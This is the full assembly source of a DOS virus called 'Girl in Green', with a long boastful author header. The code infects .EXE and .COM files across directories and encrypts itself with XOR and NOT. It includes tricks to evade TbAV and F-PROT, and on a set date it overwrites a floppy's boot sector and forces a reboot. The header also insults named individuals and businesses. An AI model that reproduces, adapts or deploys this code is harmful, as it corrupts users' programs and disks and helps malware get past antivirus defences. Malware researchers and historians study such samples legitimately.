GREEN_GIRL SEGMENT
;
; The "Girl in Green" Virus by The Methyl-Lated Spirit
;
; Alright, here is the low-down on this virus.
;       - XOR and NOT encryption
;       - Boot block message display <see below>
;       - .EXE and .COM infection <in that order>
;       - Direct Action <I SWEAR the next will be TSR>
;       - INT 042H Handler
;       - Teensy weensy little bit of anti-debugging shit
;       - Neat activation <boot block, see below>
;       - Directory Traversal
;       - Restores original Date/Time/Attributes
;       - Won't infect Windows .EXE's
;       - Won't fuck up too often because of extensive testing of it
;
; A short note on the boot block:
;
; This virus has a boot block, yes, thats right, a boot block!
; On July the 3rd, MY birthday, it will capture a picture of the first
; sector of the disk in A: into a file on the A: called boot.sec, then
; it will overwrite the original bootblock with some code, and when you
; re-boot onto that disk... well, I'll let you see yourself <it aint
; destructive, and that boot.sec is there in case you wanna restore it,
; aren't I a nice guy?  *G*>.  It was made originally for EGA, but should
; work on other monitors too, although the colours may be weird.
;
; Basically, there is no easy way to go through this virus.  It is
; a great desendant from Spaghetti <yes, the food>.  It jumps here, there
; everywhere, and, well, I don't believe I've created such a monster.
; Here is a little look see at it.  It goes through 2 phases determined
; by the run_count counter.  A setting of 1 means it is the first time through
; and that it should look for .EXE files to infect.  After that, it is set to
; 2 and it searches for .COM files to infect.  It will only infect 1 file on
; each run.  After that, when it goes to restart the host, it looks at the
; com_or_exe variable.  A setting of 1 means the current file is a .EXE and
; should be restored in that way, and a setting of 2 means the current file
; is a .COM file and should be restored as such.  These variables are
; temporarily changed while writing the virus to a new file to reflect
; the hosts new attributes.
;
; Dedications:
;       - The knock-out babe on the 424 bus home from school every day
;
; Big time fuck you's to:
;       - Peter Doyle.  FACE IT!  COMPUSERVE SUX!
;       - Dick Smith's Shops.  HAHAHAHA, THE TOILET BOWL VIRUS STRIKES AGAIN!
;       - MYER stores in Perth
;              "If you do not remove yourself from that computer, I
;               shall have to call security".  HAHAHAHAHAHAHAHAHAHA
;       - Deth : MYER was fun, but you are a liar and a theif, FUCK YOU
;               : You don't NARK on people you did a B&E with just because
;               : you're having PMS, get a life arsehole.  Liquid Plastic SUX.
;
; Greets to:
;       - Ral : Techno roqs just about as much as Jim Morrison
;       - Grey : Thanx for the chats dude
;       - Rainbow Bright/Telco Ray : Haven't seen u on the net laterly!
;       - Shalazar : What is there to say?  You're a dude.
;       - Titanium Warrior : I'm gunna get you!
;       - And all those wonderfull people in GrayLands that gave me this nice
;               padded cell so I wouldn't bang my head to hard on the walls
;               when I got frustrated debugging this thing :)
;
; Sources:
;       - Much code from my first virus, The Toilet Bowl
;       - VLAD, the info on how to check for WinEXE files
;       - 40-hex article by Dark Avenger on .EXE infections
;       - 40-hex article on how boot-sectors work <I just needed
;               the offset in memory where they are loaded, 0:7C00>
;
; Reasons for writing it:
; If you're wondering why this is called the "Girl in Green" virus, well, here
; is the answer.  I am Methyl, hanging on #AUSSIES alot, and I met a
; BEAUTIFUL girl on da bus, and she was dressed in her green school uniform.
; Well, I'm, of course, gunna ask her out when I get sum guts, but first
; I thought I'd be really kind and create a virus to show my love for her!  :>
;
; So if you <you know who you are> were wearing a slazenger suit into
; Karrinyup on Mothers Day, and a phreak in white with the wierdest
; pair of jeans in the world on came up to you and said "Hello", then,
; I LOVE YOU! <evil grin>
                                ;
        ORG 0H                  ;
                                ;
START:                          ; Host file
        MOV AH,4CH              ;
        INT 21H                 ;
                                ;
BEGIN:                          ;
        MOV AH,1                ; TbAV will go no further :)
        INT 016H                ;
                                ;
        JMP $+3                 ; Stop F-PROT flagging this as a virus
        DB 081H, 0E8H, 00H, 00H ;
                                ;
GET_DELTA:                      ;
        MOV BP,SP               ;
        SUB WORD PTR [SS:BP], OFFSET GET_DELTA
        MOV AX,[SS:BP]          ;
        ADD SP,2                ;
        MOV BP,AX               ;
                                ;
        PUSH DS                 ; Save PSP segment
        PUSH ES                 ;
        MOV DS,CS               ; Make ES=DS=CS
        MOV ES,DS               ;
                                ;
; I've done a little thing here that makes this baby easier to compile.
; When first compiled, the variable enc_or_not will equal 0, and so the
; encrypting routines shan't be run, because the virus has not yet encrypted
; itself.  After the first run, this value is changed forever to be 1, so that
; encryption is always carried out on the new infected files.  It takes up a
; bit of space, but, like I said, easier to compile.
                                ;
                                ;
        CMP BYTE PTR [OFFSET ENC_OR_NOT+BP], 0
        JE START_XOR            ;
                                ; Call encryption routines
        CALL NOTTER             ;
        CALL XORER              ;
                                ;
START_XOR:                      ; Begin XOR'ing here
        MOV BYTE PTR [OFFSET ENC_OR_NOT+BP], 1
                                ; Determine which method will be used later
                                ; to jump back to host, and restores the
                                ; appropriate host bytes.
        CMP BYTE PTR [OFFSET COM_OR_EXE+BP], 1
        JE EXE_BYTES            ;
                                ; This will restore .COM files
        LEA SI,[OFFSET ORIG_3+BP]
        MOV DI,0100H            ;
        MOVSB                   ;
        MOVSB                   ;
        MOVSB                   ;
        JMP RESET               ;
                                ;
EXE_BYTES:                      ; This is for .EXE's
        MOV WORD PTR [ORIG_CSIP+BP], WORD PTR [TEMP_CSIP+BP]
        MOV WORD PTR [ORIG_SSSP+BP], WORD PTR [TEMP_SSSP+BP]
        MOV WORD PTR [ORIG_CSIP+BP+02H], WORD PTR [TEMP_CSIP+BP+02H]
        MOV WORD PTR [ORIG_SSSP+BP+02H], WORD PTR [TEMP_SSSP+BP+02H]
                                ;
RESET:                          ; Reset run counter
        MOV BYTE PTR [OFFSET RUN_COUNT+BP],1
                                ;
SET_NEW_DTA:                    ; Make a new DTA
        MOV AH, 01AH            ;
        LEA DX, OFFSET NEW_DTA_AREA+BP
        INT 021H                ;
                                ;
SAVE_CURRENT_DIR:               ; Save current directory for traversal functions
        MOV AH, 047H            ;
        XOR DL, DL              ;
        LEA SI, OFFSET DIR_BUFFER+BP
        INT 021H                ;
                                ;
SET_ERRORS:                     ; Make a new error handler to stop
                                ; write protect errors propping up.
        MOV AX, 03524H          ;
        INT 21H                 ;
                                ;
        LEA DI, OFFSET OLD_ERROR+BP
        MOV [DI],ES             ;
        ADD DI,2                ;
        MOV [DI],BX             ;
                                ;
        MOV AX,02524H           ;
        LEA DX, OFFSET NEW_ERROR_HANDLER+BP
        INT 21H                 ;
                                ;
        MOV ES, DS              ; Restore modified ES register
; *********************************************************************
; Activation routine for July 3rd.
;
                                ;
        MOV AH, 02AH            ; Get date
        INT 21H                 ;
                                ;
MONTH:                          ;
        CMP DH, 07H             ; Check if it is July
        JE DAY                  ;
        JMP DATE_TEST_PASSED    ;
                                ;
DAY:                            ;
        CMP DL, 03H             ; Check if it is the 3rd
        JE BOOTER               ;
        JMP DATE_TEST_PASSED    ;
                                ; If it got to this point, ITS MY BIRTHDAY!
BOOTER:                         ;
        MOV AX,0201H            ; Read old boot block data
        MOV CX,1                ;
        XOR DX,DX               ;
        LEA BX,OFFSET OLD_DATA+BP;
        INT 013H                ;
                                ;
        MOV AH,03CH             ; Create A:\BOOT.SEC
        XOR CX,CX               ;
        LEA DX,OFFSET BOOT_NAME+BP
        INT 21H                 ;
                                ;
        JC QUIT                 ; Disk not there maybe?
                                ;
        XCHG BX,AX              ; Write A:\BOOT.SEC
        MOV AH,040H             ;
        MOV CX,512              ;
        LEA DX,OFFSET OLD_DATA+BP
        INT 021H                ;
                                ;
        MOV AH,03EH             ;
        INT 021H                ; Close file with boot sector inside
                                ;
        MOV AX,0301H            ; Write new boot sector to floppy
        MOV CX,1                ;
        XOR DX,DX               ;
        LEA BX, OFFSET START_WRITE+BP
        INT 13H                 ;
                                ;
QUIT:                           ; Reboot computer to load up new boot segment
        MOV AX,040H             ; Set up for a warm reboot <quicker>
        MOV DS,AX               ;
        MOV AX, 012H            ;
        MOV [072H], AX          ;
                                ;
        DB 0EAH                 ; Do a jump to Offset:Segment following
        DB 00,00,0FFH,0FFH      ; which is FFFF:0000 as segment:offset
                                ;
;***********************************************************************
; This is the boot_block start

START_WRITE:                    ;
        CLD                     ;
                                ;
NO_CURSOR:                      ;
        MOV AH,1                ;
        MOV CX,02000H           ;
        INT 010H                ;
                                ;
        MOV AX,0B800H           ; Colour video segment
        MOV ES,AX               ;
        XOR DI,DI               ;
        LEA SI, 07C00H+(OFFSET MESSAGE-OFFSET START_WRITE)
                                ;
LOOPY_GREEN:                    ;
        MOV CX, 23              ;
        REP MOVSW               ;
        SUB SI, 46              ;
        LEA AX, 07C00H+(OFFSET LOOPY_GREEN-OFFSET START_WRITE)
        JMP AX                  ;
                                ;
MESSAGE DB 'I',02,32 ,02,03 ,02,32 ,02,'Y',02,'O',02,'U',02,32,02
        DB 'G',02,'I',02,'R',02,'L',02,32 ,02,'I',02,'N',02
        DB 32 ,02,'G',02,'R',02,'E',02,'E',02,'N',02,'!',02,32,02
                                ;
; This is the boot_block end
;***********************************************************************
                                ;
DATE_TEST_PASSED:               ; Find first file
        MOV AH,04EH             ;
        JMP FINDER              ;
                                ;
CHANGE_DIR:                     ; Go down in directory structure
        MOV AH,03BH             ;
        LEA DX,OFFSET CHANGE_TO+BP
        INT 021H                ;
        JC END_ALL              ; In root, no more files
                                ;
        MOV AH,04EH             ; Since it is is a new dir, find first file
        JMP FINDER              ;
                                ;
RESET_ATTRIBS:                  ; Reset file time/date
        MOV AX,05701H           ;
        MOV CX,[OFFSET TIME+BP] ;
        MOV DX,[OFFSET DATE+BP] ;
        INT 021H                ;
        RET                     ;
                                ;
CLOSE_FILE:                     ; Close file and reset attributes
        MOV AH,03EH             ;
        INT 021H                ;
                                ;
        MOV AX,04301H           ;
        MOV CX,[OFFSET ATTRIBS+BP]
        LEA DX,OFFSET NEW_DTA_AREA+1EH+BP
        INT 021H                ;
        RET                     ;
                                ;
FINDER:                         ; Find first/next routine
        LEA DX,[OFFSET FILE_MASK+BP]
        MOV CX,0007H            ;
        INT 021H                ;
                                ;
        JC CHANGE_DIR           ; Change dir if no more files
        JMP FILE_FOUND          ;
                                ;
DO_OTHER:                       ; Change file mask.  This is the 2nd
                                ; pass, so look for .COM's instead of .EXE's
        MOV BYTE PTR [OFFSET RUN_COUNT+BP],2
        MOV WORD PTR [OFFSET FILE_MASK+BP+2],'OC'
        MOV BYTE PTR [OFFSET FILE_MASK+BP+4],'M'
        MOV AH,04EH             ;
        JMP FINDER              ;
                                ;
END_ALL:                        ;
        MOV AH,03BH             ; Change to original dir
        LEA DX,OFFSET SLASH+BP  ;
        INT 021H                ;
                                ; Do second pass if not done already
        CMP BYTE PTR [OFFSET RUN_COUNT+BP], 1
        JE DO_OTHER             ;
                                ;
                                ; Reload original error handler
        MOV DX,[OFFSET OLD_ERROR+BP+02H]
        MOV DS,[OFFSET OLD_ERROR+BP]
        MOV AX,02524H           ;
        INT 021H                ;
                                ;
        POP ES                  ; Reload original DS, ES
        POP DS                  ;
                                ; Determine host file type
        CMP BYTE PTR [OFFSET COM_OR_EXE+BP],1
        JE EXE_RESTORE          ;
                                ;
        MOV AH,01AH             ; This will restore a .COM file
        MOV DX,080H             ;
        INT 021H                ;
                                ;
        MOV DX,0100H            ;
        JMP DX                  ;
                                ;
EXE_RESTORE:                    ; This will restore a .EXE file
                                ;
        MOV AH,1AH              ; Reset original PSP
        MOV DX,080H             ;
        INT 021H                ;
                                ;
        MOV AX,ES               ; Get CS:IP ready to jump to
        ADD AX,010H             ;
        ADD WORD PTR CS:[BP+ORIG_CSIP+02H],AX
        ADD AX, WORD PTR CS:[BP+ORIG_SSSP+02H]
                                ;
        CLI                     ; Restore stack segment and stack pointer
        MOV SP, WORD PTR CS:[BP+ORIG_SSSP]
        MOV SS,AX               ;
        STI                     ;
                                ;
        DB 0EAH                 ; Far Jump Offset:Segment following
                                ;
;***************************************************************************
; Data area
                                ;
ORIG_CSIP DW 0,0                ; Original CS:IP value
ORIG_SSSP DW 0,0                ; Original SS:SP value
                                ;
TEMP_CSIP DW 0,0                ; Temporary CS:IP value
TEMP_SSSP DW 0,0                ; Temporary SS:SP value
                                ;
CHANGE_TO DB '..',0             ; For directory traversal functions
FILE_MASK DB '*.EXE',0          ; File mask <DUH!>
                                ;
BOOT_NAME DB 'A:\BOOT.SEC',00   ; Holds original boot sector of a diskette
                                ;
COM_OR_EXE DB 1                 ; 1=exe, 2=com
RUN_COUNT DB 1                  ; 1=first, 2=second
                                ;
JUMPING DB 0E9H,00,00           ; Jump construct for a .COM file
ORIG_3 DB 3 DUP(?)              ; Original .COM file bytes
                                ;
; End Data area
;***************************************************************************
                                ;
POINTER_MOVER:                  ;
        XOR CX,CX               ;
        XOR DX,DX               ;
        MOV AH, 042H            ;
        INT 021H                ;
        RET                     ;
                                ;
COM_TIME:                       ; Checks for ibmdos.com, ibmbio.com, command.com
                                ; So it works on PC/DOS and MS/DOS
        MOV AL, BYTE PTR [OFFSET NEW_DTA_AREA+BP+01EH+2]
        CMP AL,'M'              ;
        JNE NOT_DOS_FILE        ;
        JMP NOPE                ;
                                ;
NOT_DOS_FILE:                   ;
        MOV AL,02H              ;
        CALL POINTER_MOVER      ;
                                ;
        SUB DX,1                ; Jump to end of file-1
        SBB CX,0                ;
        MOV AX,04202H           ;
        INT 021H                ;
                                ;
        MOV AH,03FH             ; Read last byte of file
        MOV CX,1                ;
        LEA DX,OFFSET ORIG_3+BP ;
        INT 021H                ;
                                ;
        MOV AL,[OFFSET ORIG_3+BP]
        CMP AL,'\'              ;
        JNE CHECK_IT            ; Infect file
                                ;
NOPE:                           ; Can't infect for some reason or another
        CALL RESET_ATTRIBS      ;
        CALL CLOSE_FILE         ;
        MOV AH,04FH             ;
        JMP FINDER              ; Already infected (It's my BAAAABBYYYY)
                                ;
CHECK_IT:                       ;
        XOR AL,AL               ; Beginning of file
        CALL POINTER_MOVER      ;
                                ;
        MOV AH,03FH             ; Read files first 3 bytes
        MOV CX,3                ;
        LEA DX,[OFFSET ORIG_3+BP]
        INT 021H                ;
                                ;
        MOV AL,[OFFSET ORIG_3+BP]
        ADD AL,[OFFSET ORIG_3+BP+1]
        CMP AX,'M'+'Z'          ;
        JE NOPE                 ;
                                ;
INFECT_COM:                     ;
        MOV AL,02H              ;
        CALL POINTER_MOVER      ;
                                ;
        SUB AX,3                ; Calculate jump offset
        MOV [OFFSET JUMPING+BP+1],AX
                                ;
        XOR AL,AL               ; Beginning of file
        CALL POINTER_MOVER      ;
                                ;
        MOV CX,3                ; Write jump bytes
        MOV AH,040H             ;
        LEA DX,OFFSET JUMPING+BP;
        INT 021H                ;
                                ;
                                ; So that the infected file will look for
                                ; .EXE's on the first run and not .COM's,
                                ; this code here must be added
        MOV WORD PTR [OFFSET FILE_MASK+BP+2],'XE'
        MOV BYTE PTR [OFFSET FILE_MASK+BP+4],'E'
                                ; Make sure that when the virus runs of it's new
                                ; .COM host, it knows it and isn't running as if
                                ; it was on the old host <i.e. restore host
                                ; as a .COM and not a .EXE>
        MOV AL,[OFFSET COM_OR_EXE+BP]
        PUSH AX                 ;
        MOV BYTE PTR [OFFSET COM_OR_EXE+BP],2
        JMP END_WRITER          ;
                                ;
FILE_FOUND:                     ;
        MOV AX, 04300H          ; Get and save attribs
        LEA DX,[OFFSET NEW_DTA_AREA+BP+01EH]
        INT 21H                 ;
                                ;
        MOV [OFFSET ATTRIBS+BP],CX
        MOV WORD PTR [OFFSET TIME+BP],[OFFSET NEW_DTA_AREA+BP+016H]
        MOV WORD PTR [OFFSET DATE+BP],[OFFSET NEW_DTA_AREA+BP+018H]
                                ;
CHANGE_ATTRIBS_NORMAL:          ; Change attributes to NULL
        MOV AX,04301H           ;
        XOR CX,CX               ;
        LEA DX,[OFFSET NEW_DTA_AREA+BP+01EH]
        INT 021H                ;
        JNC OPEN_FILE           ;
        MOV AH,04FH             ;
        JMP FINDER              ; Somefink went wrong!
                                ;
OPEN_FILE:                      ; Open da file
        MOV AX,03D02H           ;
        LEA DX,OFFSET NEW_DTA_AREA+BP+01EH
        INT 021H                ;
        JNC WHAT_WRITE_ROUTINE  ;
        MOV AH,04FH             ;
        JMP FINDER              ; Somefink else went wrong!
                                ;
WHAT_WRITE_ROUTINE:             ; Write to a .COM or .EXE
        XCHG BX,AX              ; Put file handle in BX
        CMP BYTE PTR [OFFSET FILE_MASK+BP+2],'E'
        JE CHECK_INFECTED       ;
        JMP COM_TIME            ;
                                ;
CHECK_INFECTED:                 ; Read in file header
        MOV CX,01AH             ; .EXE header is (01Ah bytes)
        MOV AH,3FH              ;
        LEA DX,OFFSET FILE_HEADER+BP
        INT 021H                ;
                                ; Check if it is already infected
        CMP WORD PTR [OFFSET FILE_HEADER+BP+012H],'GG'
        JNE TEST_WIN            ;
        JMP NOPE                ;
                                ;
NEW_ERROR_HANDLER:              ; New INT 024H handler
        MOV AL,3                ; Fail system call <VLAD said to do this>
        IRET                    ;
                                ;
TEST_WIN:                       ;
        MOV AX,[OFFSET FILE_HEADER+BP+018H]
        CMP AX,040H             ;
        JB MODIFY_HEADER        ; Not windows file
        JMP NOPE                ; Is windows file
                                ;
MODIFY_HEADER:                  ; Begin transmorgification of the header
        MOV AL,02H              ; Get file size for later on
        CALL POINTER_MOVER      ;
                                ;
        PUSH BX                 ; Save handle
        PUSH DX                 ; Save file size
        PUSH AX                 ;
                                ; TEMP_CSIP = Offset : Segment
        LES AX, DWORD PTR [OFFSET FILE_HEADER+BP+014H]
        MOV WORD PTR [BP+OFFSET TEMP_CSIP], AX
        MOV WORD PTR [BP+OFFSET TEMP_CSIP+02H], ES
                                ; Save stack pointer
                                ; TEMP_SSSP = Offset : Segment
        LES AX, DWORD PTR [OFFSET FILE_HEADER+BP+0EH]
        MOV WORD PTR [BP+OFFSET TEMP_SSSP],ES
        MOV WORD PTR [BP+OFFSET TEMP_SSSP+02H],AX
                                ; Convert header size to bytes
                                ; <originally in paragraphs>
        MOV AX, WORD PTR [BP+FILE_HEADER+08H]
        MOV CL,04H              ;
        SHL AX,CL               ;
                                ;
        XCHG BX,AX              ; BX now holds the header size in bytes
                                ;
        POP AX                  ; Get file size into DX:AX
        POP DX                  ;
                                ;
        PUSH AX                 ; Save file size for later AGAIN
        PUSH DX                 ;
                                ;
        SUB AX,BX               ; Take header size from file size
        SBB DX,0                ;
                                ;
        MOV CX,010H             ; Make it segment:offset form
        DIV CX                  ;
                                ; Write new entry point
        MOV WORD PTR [OFFSET FILE_HEADER+BP+014H],DX
        MOV WORD PTR [OFFSET FILE_HEADER+BP+016H],AX
                                ; Write new Stack
                                ; Pointer and....
        MOV WORD PTR [OFFSET FILE_HEADER+BP+010H],0
                                ; Segment!
        MOV WORD PTR [OFFSET FILE_HEADER+BP+0EH],AX
                                ; Write ID bytes
        MOV WORD PTR [OFFSET FILE_HEADER+BP+012H],'GG'
                                ;
        POP DX                  ; Get file length
        POP AX                  ;
                                ; Add virus size
        ADD AX,OFFSET END_VIRUS-OFFSET BEGIN
        ADC DX,0                ;
                                ;
        MOV CL,9                ;
        PUSH AX                 ; Save file size+virus size
                                ;
        SHR AX,CL               ;
        ROR DX,CL               ;
        STC                     ;
        ADC DX,AX               ; File size in pages
        POP AX                  ;
        AND AH,1                ; MOD 512
                                ; Write new file size
        MOV WORD PTR [BP+OFFSET FILE_HEADER+04H],DX
        MOV WORD PTR [BP+OFFSET FILE_HEADER+02H],AX
                                ; Increase minimum memory requirements to
                                ; ORIG_MEM + VIRUS_MEM = TOTAL_MEM 8)
        MOV AX,OFFSET END_FILE-OFFSET BEGIN
        MOV CL,4                ;
        SHR AX,CL               ;
                                ;
        ADD AX,WORD PTR [BP+OFFSET FILE_HEADER+0AH]
        MOV WORD PTR [BP+OFFSET FILE_HEADER+0AH],AX
                                ;
        POP BX                  ; Get handle again
                                ;
MOOWAAHAAHAAHAA:                ; Infect the wanker!
        XOR AL,AL               ; Move to da start of da file
        CALL POINTER_MOVER      ;
                                ;
        MOV CX,01AH             ; Write header
        MOV AH,040H             ;
        LEA DX,OFFSET FILE_HEADER+BP
        INT 021H                ;
                                ; So that the virus, when executing of its
                                ; new host knows that it will restore the bytes
                                ; as if attatched to a .EXE file
        MOV AL, BYTE PTR [OFFSET COM_OR_EXE+BP]
        PUSH AX                 ;
        MOV BYTE PTR [OFFSET COM_OR_EXE+BP],1
                                ;
END_WRITER:                     ;
        MOV AL,02H              ; Move to da end of da file
        CALL POINTER_MOVER      ;
                                ;
MAKE_NEW_ENC_VALUE:             ; Get a new random encryption value
        MOV AH,2CH              ;
        INT 21H                 ;
        MOV BYTE PTR [OFFSET ENCRYPTION_VALUE+BP],DL
                                ;
END_XOR:                        ; End XOR here
                                ; Make it my BAAAABBYYYY
        CALL XORER              ;
        CALL NOTTER             ;
                                ;
        MOV CX,OFFSET END_VIRUS-OFFSET BEGIN
        MOV AH,40H              ;
        LEA DX,OFFSET BEGIN+BP  ;
        INT 021H                ;
                                ;
        CALL NOTTER             ; Decrypt virus
        CALL XORER              ;
                                ; Restore original com_or_exe value
        POP AX                  ;
        MOV BYTE PTR [OFFSET COM_OR_EXE+BP],AL
                                ;
        CALL RESET_ATTRIBS      ;
        CALL CLOSE_FILE         ;
        JMP END_ALL             ;
                                ;
                                ;
XORER:                          ;
        CLD                     ; String instruction increment
        MOV ES,CS               ;
        MOV AH, [OFFSET ENCRYPTION_VALUE+BP]
        MOV CX, OFFSET END_XOR-OFFSET START_XOR
        LEA SI, [OFFSET START_XOR+BP]
        MOV DI, SI              ;
                                ;
XOR_LOOPER:                     ;
        LODSB                   ;
        XOR AL,AH               ;
        STOSB                   ;
        LOOP XOR_LOOPER         ;
        RET                     ;
                                ;
NOTTER:                         ;
        CLD                     ; Make sure string instructions increment
        MOV ES,CS               ;
        MOV CX,OFFSET NOTTER-OFFSET XORER
        LEA SI,[OFFSET XORER+BP]
        MOV DI,SI               ;
                                ;
NOT_LOOPER:                     ;
        LODSB                   ;
        NOT AL                  ;
        STOSB                   ;
        LOOP NOT_LOOPER         ;
        RET                     ;
                                ;
ENCRYPTION_VALUE DB 0           ;
ENC_OR_NOT DB 0                 ; To encrypt or not to encrypt
SLASH DB '\'                    ; For directory traversal functions
                                ;
END_VIRUS:                      ; Everything from here on is not written
                                ; to infected files
                                ;
DIR_BUFFER DB 64 DUP (?)        ; For directory traversal functions
NEW_DTA_AREA DB 128 DUP (?)     ; New DTA place
ATTRIBS DW 0                    ; Buffer for file attributes
TIME DW 0                       ;    "    "    "  time
DATE DW 0                       ;    "    "    "  date
FILE_HEADER DB 01AH DUP (?)     ; File Header Read/Write Buffer
OLD_ERROR DW 0,0                ; Hold old error handler address
OLD_DATA DB 512 DUP (?)         ; Holds old boot block
                                ;
END_FILE:                       ;
GREEN_GIRL ENDS                 ;
END BEGIN                       ;